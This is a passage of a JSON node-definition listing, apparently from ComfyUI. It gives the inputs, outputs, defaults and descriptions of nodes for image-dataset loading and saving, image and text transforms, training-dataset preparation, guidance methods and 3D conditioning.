"output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["training chart", "training visualization", "plot loss"], "essentials_category": null, "has_intermediate_output": false}, "LoadImageDataSetFromFolder": {"input": {"required": {"folder": ["COMBO", {"tooltip": "The folder to load images from.", "multiselect": false, "options": ["3d"]}]}}, "input_order": {"required": ["folder"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["images"], "output_tooltips": ["List of loaded images"], "output_matchtypes": null, "name": "LoadImageDataSetFromFolder", "display_name": "Load Image (from Folder)", "description": "Load a dataset of images from a specified folder and return a list of images. Supported formats: PNG, JPG, JPEG, WEBP.", "python_module": "comfy_extras.nodes_dataset", "category": "image", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["load folder", "load from folder", "load dataset", "load images", "import dataset"], "essentials_category": null, "has_intermediate_output": false}, "LoadImageTextDataSetFromFolder": {"input": {"required": {"folder": ["COMBO", {"tooltip": "The folder to load images and text captions from.", "multiselect": false, "options": ["3d"]}]}}, "input_order": {"required": ["folder"]}, "is_input_list": false, "output": ["IMAGE", "STRING"], "output_is_list": [true, true], "output_name": ["images", "texts"], "output_tooltips": ["List of loaded images", "List of text captions"], "output_matchtypes": null, "name": "LoadImageTextDataSetFromFolder", "display_name": "Load Image-Text (from Folder)", "description": "Load a dataset of pairs of images and text captions from a specified folder and return them as a list. Supported formats: PNG, JPG, JPEG, WEBP.", "python_module": "comfy_extras.nodes_dataset", "category": "image", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["load folder", "load from folder", "load dataset", "load images", "import dataset"], "essentials_category": null, "has_intermediate_output": false}, "SaveImageDataSetToFolder": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to save."}], "folder_name": ["STRING", {"tooltip": "Name of the folder to save images to (inside output directory).", "default": "dataset", "multiline": false}], "filename_prefix": ["STRING", {"tooltip": "Prefix for saved image filenames.", "advanced": true, "default": "image", "multiline": false}], "mode": ["COMBO", {"tooltip": "Whether to overwrite existing files or increment filenames to avoid overwriting.", "default": "overwrite", "multiselect": false, "options": ["overwrite", "increment"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "folder_name", "filename_prefix", "mode"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": true, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveImageDataSetToFolder", "display_name": "Save Image (to Folder) (DEPRECATED)", "description": "Save a dataset of images to a specified folder. Supported formats: PNG.", "python_module": "comfy_extras.nodes_dataset", "category": "image", "output_node": true, "deprecated": true, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["save folder", "save to folder", "save dataset", "save images", "export dataset"], "essentials_category": null, "has_intermediate_output": false}, "SaveImageTextDataSetToFolder": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to save."}], "folder_name": ["STRING", {"tooltip": "Name of the folder to save images to (inside output directory).", "default": "dataset", "multiline": false}], "filename_prefix": ["STRING", {"tooltip": "Prefix for saved image filenames.", "advanced": true, "default": "image", "multiline": false}], "mode": ["COMBO", {"tooltip": "Whether to overwrite existing files or increment filenames to avoid overwriting.", "default": "overwrite", "multiselect": false, "options": ["overwrite", "increment"]}]}, "optional": {"texts": ["STRING", {"tooltip": "List of text captions to save.", "forceInput": true, "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "folder_name", "filename_prefix", "mode"], "optional": ["texts"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": true, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveImageTextDataSetToFolder", "display_name": "Save Image-Text (to Folder)", "description": "Save a dataset of pairs of images and text captions to a specified folder. Images are saved as PNG files and captions are saved as TXT files with the same filename_prefix.", "python_module": "comfy_extras.nodes_dataset", "category": "image", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["save folder", "save to folder", "save dataset", "save images", "save text", "export dataset"], "essentials_category": null, "has_intermediate_output": false}, "ResizeImagesByShorterEdge": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "shorter_edge": ["INT", {"tooltip": "Target dimension for the shorter edge.", "default": 512, "min": 1, "max": 8192}]}}, "input_order": {"required": ["images", "shorter_edge"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ResizeImagesByShorterEdge", "display_name": "Resize Images by Shorter Edge (DEPRECATED)", "description": "Resize images so that the shorter edge matches the specified dimension while preserving aspect ratio.", "python_module": "comfy_extras.nodes_dataset", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ResizeImagesByLongerEdge": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "longer_edge": ["INT", {"tooltip": "Target dimension for the longer edge.", "default": 1024, "min": 1, "max": 8192}]}}, "input_order": {"required": ["images", "longer_edge"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ResizeImagesByLongerEdge", "display_name": "Resize Images by Longer Edge (DEPRECATED)", "description": "Resize images so that the longer edge matches the specified dimension while preserving aspect ratio.", "python_module": "comfy_extras.nodes_dataset", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CenterCropImages": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "width": ["INT", {"tooltip": "Crop width.", "default": 512, "min": 1, "max": 8192}], "height": ["INT", {"tooltip": "Crop height.", "default": 512, "min": 1, "max": 8192}]}}, "input_order": {"required": ["images", "width", "height"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "CenterCropImages", "display_name": "Crop Image (Center)", "description": "Center crop an image to the specified dimensions.", "python_module": "comfy_extras.nodes_dataset", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["crop", "cut", "trim"], "essentials_category": null, "has_intermediate_output": false}, "RandomCropImages": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "width": ["INT", {"tooltip": "Crop width.", "default": 512, "min": 1, "max": 8192}], "height": ["INT", {"tooltip": "Crop height.", "default": 512, "min": 1, "max": 8192}], "seed": ["INT", {"tooltip": "Random seed.", "default": 0, "min": 0, "max": 18446744073709551615}]}}, "input_order": {"required": ["images", "width", "height", "seed"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "RandomCropImages", "display_name": "Crop Image (Random)", "description": "Randomly crop an image to the specified dimensions.", "python_module": "comfy_extras.nodes_dataset", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["crop", "cut", "trim"], "essentials_category": null, "has_intermediate_output": false}, "NormalizeImages": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "mean": ["FLOAT", {"tooltip": "Mean value for normalization.", "advanced": true, "default": 0.5, "min": 0.0, "max": 1.0}], "std": ["FLOAT", {"tooltip": "Standard deviation for normalization.", "advanced": true, "default": 0.5, "min": 0.001, "max": 1.0}]}}, "input_order": {"required": ["images", "mean", "std"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "NormalizeImages", "display_name": "Normalize Image Colors", "description": "Normalize images using mean and standard deviation.", "python_module": "comfy_extras.nodes_dataset", "category": "image/color", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["normalize", "normalize colors"], "essentials_category": null, "has_intermediate_output": false}, "AdjustBrightness": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "factor": ["FLOAT", {"tooltip": "Brightness factor. 1.0 = no change, <1.0 = darker, >1.0 = brighter.", "default": 1.0, "min": 0.0, "max": 2.0}]}}, "input_order": {"required": ["images", "factor"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "AdjustBrightness", "display_name": "Adjust Brightness", "description": "Adjust the brightness of an image.", "python_module": "comfy_extras.nodes_dataset", "category": "image/adjustments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["brightness"], "essentials_category": null, "has_intermediate_output": false}, "AdjustContrast": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "factor": ["FLOAT", {"tooltip": "Contrast factor. 1.0 = no change, <1.0 = less contrast, >1.0 = more contrast.", "default": 1.0, "min": 0.0, "max": 2.0}]}}, "input_order": {"required": ["images", "factor"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "AdjustContrast", "display_name": "Adjust Contrast", "description": "Adjust the contrast of an image.", "python_module": "comfy_extras.nodes_dataset", "category": "image/adjustments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["contrast"], "essentials_category": null, "has_intermediate_output": false}, "ShuffleDataset": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to process."}], "seed": ["INT", {"tooltip": "Random seed.", "default": 0, "min": 0, "max": 18446744073709551615}]}}, "input_order": {"required": ["images", "seed"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ShuffleDataset", "display_name": "Shuffle Images List", "description": "Randomly shuffle the order of images in a list.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["shuffle", "randomize", "mix"], "essentials_category": null, "has_intermediate_output": false}, "ShuffleImageTextDataset": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to shuffle."}], "texts": ["STRING", {"tooltip": "List of texts to shuffle.", "forceInput": true, "multiline": false}], "seed": ["INT", {"tooltip": "Random seed.", "default": 0, "min": 0, "max": 18446744073709551615}]}}, "input_order": {"required": ["images", "texts", "seed"]}, "is_input_list": true, "output": ["IMAGE", "STRING"], "output_is_list": [true, true], "output_name": ["images", "texts"], "output_tooltips": ["Shuffled images", "Shuffled texts"], "output_matchtypes": null, "name": "ShuffleImageTextDataset", "display_name": "Shuffle Pairs of Image-Text", "description": "Randomly shuffle the order of pairs of image-text in a list.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["shuffle", "randomize", "mix"], "essentials_category": null, "has_intermediate_output": false}, "TextToLowercase": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}]}}, "input_order": {"required": ["texts"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "TextToLowercase", "display_name": "Convert Text to Lowercase (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextToUppercase": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}]}}, "input_order": {"required": ["texts"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "TextToUppercase", "display_name": "Convert Text to Uppercase (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TruncateText": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}], "max_length": ["INT", {"tooltip": "Maximum text length.", "default": 77, "min": 1, "max": 10000}]}}, "input_order": {"required": ["texts", "max_length"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "TruncateText", "display_name": "Truncate Text", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AddTextPrefix": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}], "prefix": ["STRING", {"tooltip": "Prefix to add.", "default": "", "multiline": false}]}}, "input_order": {"required": ["texts", "prefix"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "AddTextPrefix", "display_name": "Add Text Prefix (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AddTextSuffix": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}], "suffix": ["STRING", {"tooltip": "Suffix to add.", "default": "", "multiline": false}]}}, "input_order": {"required": ["texts", "suffix"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "AddTextSuffix", "display_name": "Add Text Suffix (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReplaceText": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}], "find": ["STRING", {"tooltip": "Text to find.", "default": "", "multiline": false}], "replace": ["STRING", {"tooltip": "Text to replace with.", "default": "", "multiline": false}]}}, "input_order": {"required": ["texts", "find", "replace"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "ReplaceText", "display_name": "Replace Text (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StripWhitespace": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}]}}, "input_order": {"required": ["texts"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "StripWhitespace", "display_name": "Strip Whitespace (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageDeduplication": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to process."}], "similarity_threshold": ["FLOAT", {"tooltip": "Similarity threshold (0-1). Higher means more similar. Images above this threshold are considered duplicates.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0}]}}, "input_order": {"required": ["images", "similarity_threshold"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ImageDeduplication", "display_name": "Deduplicate Images", "description": "Remove duplicate or very similar images from a list.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["deduplicate", "remove duplicates", "similarity filter"], "essentials_category": null, "has_intermediate_output": false}, "ImageGrid": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to process."}], "columns": ["INT", {"tooltip": "Number of columns in the grid.", "default": 4, "min": 1, "max": 20}], "cell_width": ["INT", {"tooltip": "Width of each cell in the grid.", "advanced": true, "default": 256, "min": 32, "max": 2048}], "cell_height": ["INT", {"tooltip": "Height of each cell in the grid.", "advanced": true, "default": 256, "min": 32, "max": 2048}], "padding": ["INT", {"tooltip": "Padding between images.", "advanced": true, "default": 4, "min": 0, "max": 50}]}}, "input_order": {"required": ["images", "columns", "cell_width", "cell_height", "padding"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ImageGrid", "display_name": "Make Image Grid", "description": "Arrange multiple images into a grid layout.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["grid", "collage", "combine"], "essentials_category": null, "has_intermediate_output": false}, "MergeImageLists": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to process."}]}}, "input_order": {"required": ["images"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "MergeImageLists", "display_name": "Merge Image Lists (DEPRECATED)", "description": "Concatenate multiple image lists into one.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["list", "merge list", "make list"], "essentials_category": null, "has_intermediate_output": false}, "MergeTextLists": {"input": {"required": {"texts": ["STRING", {"tooltip": "List of texts to process.", "multiline": false}]}}, "input_order": {"required": ["texts"]}, "is_input_list": true, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "MergeTextLists", "display_name": "Merge Text Lists (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MakeTrainingDataset": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to encode."}], "vae": ["VAE", {"tooltip": "VAE model for encoding images to latents."}], "clip": ["CLIP", {"tooltip": "CLIP model for encoding text to conditioning."}]}, "optional": {"texts": ["STRING", {"tooltip": "List of text captions. Can be length n (matching images), 1 (repeated for all), or omitted (uses empty string).", "forceInput": true, "multiline": false}]}}, "input_order": {"required": ["images", "vae", "clip"], "optional": ["texts"]}, "is_input_list": true, "output": ["LATENT", "CONDITIONING"], "output_is_list": [true, true], "output_name": ["latents", "conditioning"], "output_tooltips": ["List of latent dicts", "List of conditioning lists"], "output_matchtypes": null, "name": "MakeTrainingDataset", "display_name": "Make Training Dataset", "description": "Encode images with VAE and texts with CLIP to create a training dataset of latents and conditionings.", "python_module": "comfy_extras.nodes_dataset", "category": "model/training", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["encode dataset"], "essentials_category": null, "has_intermediate_output": false}, "SaveTrainingDataset": {"input": {"required": {"latents": ["LATENT", {"tooltip": "List of latent dicts from MakeTrainingDataset."}], "conditioning": ["CONDITIONING", {"tooltip": "List of conditioning lists from MakeTrainingDataset."}], "folder_name": ["STRING", {"tooltip": "Name of folder to save dataset (inside output directory).", "default": "training_dataset", "multiline": false}], "shard_size": ["INT", {"tooltip": "Number of samples per shard file.", "advanced": true, "default": 1000, "min": 1, "max": 100000}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["latents", "conditioning", "folder_name", "shard_size"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": true, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveTrainingDataset", "display_name": "Save Training Dataset", "description": "Save encoded training dataset (latents + conditioning) to disk for efficient loading during training.", "python_module": "comfy_extras.nodes_dataset", "category": "model/training", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export dataset", "save dataset"], "essentials_category": null, "has_intermediate_output": false}, "LoadTrainingDataset": {"input": {"required": {"folder_name": ["STRING", {"tooltip": "Name of folder containing the saved dataset (inside output directory).", "default": "training_dataset", "multiline": false}]}}, "input_order": {"required": ["folder_name"]}, "is_input_list": false, "output": ["LATENT", "CONDITIONING"], "output_is_list": [true, true], "output_name": ["latents", "conditioning"], "output_tooltips": ["List of latent dicts", "List of conditioning lists"], "output_matchtypes": null, "name": "LoadTrainingDataset", "display_name": "Load Training Dataset", "description": "Load encoded training dataset (latents + conditioning) from disk for use in training.", "python_module": "comfy_extras.nodes_dataset", "category": "model/training", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["import dataset", "training data"], "essentials_category": null, "has_intermediate_output": false}, "ResolutionBucket": {"input": {"required": {"latents": ["LATENT", {"tooltip": "List of latent dicts to bucket by resolution."}], "conditioning": ["CONDITIONING", {"tooltip": "List of conditioning lists (must match latents length)."}]}}, "input_order": {"required": ["latents", "conditioning"]}, "is_input_list": true, "output": ["LATENT", "CONDITIONING"], "output_is_list": [true, true], "output_name": ["latents", "conditioning"], "output_tooltips": ["List of batched latent dicts, one per resolution bucket.", "List of condition lists, one per resolution bucket."], "output_matchtypes": null, "name": "ResolutionBucket", "display_name": "Resolution Bucket", "description": "Group latents and conditionings into buckets", "python_module": "comfy_extras.nodes_dataset", "category": "model/training", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["bucket by resolution", "group by resolution", "batch by resolution"], "essentials_category": null, "has_intermediate_output": false}, "SelfAttentionGuidance": {"input": {"required": {"model": ["MODEL", {}], "scale": ["FLOAT", {"default": 0.5, "min": -2.0, "max": 5.0, "step": 0.01}], "blur_sigma": ["FLOAT", {"advanced": true, "default": 2.0, "min": 0.0, "max": 10.0, "step": 0.1}]}}, "input_order": {"required": ["model", "scale", "blur_sigma"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SelfAttentionGuidance", "display_name": "Self-Attention Guidance", "description": "", "python_module": "comfy_extras.nodes_sag", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PerpNeg": {"input": {"required": {"model": ["MODEL", {}], "empty_conditioning": ["CONDITIONING", {}], "neg_scale": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "empty_conditioning", "neg_scale"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "PerpNeg", "display_name": "Perp-Neg (DEPRECATED by Perp-Neg Guider)", "description": "", "python_module": "comfy_extras.nodes_perpneg", "category": "experimental", "output_node": false, "deprecated": true, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PerpNegGuider": {"input": {"required": {"model": ["MODEL", {}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "empty_conditioning": ["CONDITIONING", {}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "neg_scale": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "positive", "negative", "empty_conditioning", "cfg", "neg_scale"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "PerpNegGuider", "display_name": "Perp-Neg Guider", "description": "", "python_module": "comfy_extras.nodes_perpneg", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableZero123_Conditioning": {"input": {"required": {"clip_vision": ["CLIP_VISION", {}], "init_image": ["IMAGE", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 256, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 256, "min": 16, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "elevation": ["FLOAT", {"default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}], "azimuth": ["FLOAT", {"default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}]}}, "input_order": {"required": ["clip_vision", "init_image", "vae", "width", "height", "batch_size", "elevation", "azimuth"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "StableZero123_Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable3d", "category": "model/conditioning/stable zero123", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableZero123_Conditioning_Batched": {"input": {"required": {"clip_vision": ["CLIP_VISION", {}], "init_image": ["IMAGE", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 256, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 256, "min": 16, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "elevation": ["FLOAT", {"default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}], "azimuth": ["FLOAT", {"default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}], "elevation_batch_increment": ["FLOAT", {"advanced": true, "default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}], "azimuth_batch_increment": ["FLOAT", {"advanced": true, "default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}]}}, "input_order": {"required": ["clip_vision", "init_image", "vae", "width", "height", "batch_size", "elevation", "azimuth", "elevation_batch_increment", "azimuth_batch_increment"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "StableZero123_Conditioning_Batched", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable3d", "category": "model/conditioning/stable zero123", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SV3D_Conditioning": {"input": {"required": {"clip_vision": ["CLIP_VISION", {}], "init_image": ["IMAGE", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 576, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 576, "min": 16, "max": 16384, "step": 8}], "video_frames": ["INT", {"default": 21, "min": 1, "max": 4096}], "elevation": ["FLOAT", {"default": 0.0, "min": -90.0, "max": 90.0, "step": 0.1, "round": false}]}}, "input_order": {"required": ["clip_vision", "init_image", "vae", "width", "height", "video_frames", "elevation"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "SV3D_Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable3d", "category": "model/conditioning/stable video 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SD_4XUpscale_Conditioning": {"input": {"required": {"images": ["IMAGE", {}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "scale_ratio": ["FLOAT", {"default": 4.0, "min": 0.0, "max": 10.0, "step": 0.01}], "noise_augmentation": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["images", "positive", "negative", "scale_ratio", "noise_augmentation"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "SD_4XUpscale_Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_sdupscale", "category": "model/conditioning/stable diffusion upscaler", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PhotoMakerLoader": {"input": {"required": {"photomaker_model_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["photomaker_model_name"]}, "is_input_list": false, "output": ["PHOTOMAKER"], "output_is_list": [false], "output_name": ["PHOTOMAKER"], "output_tooltips": [null], 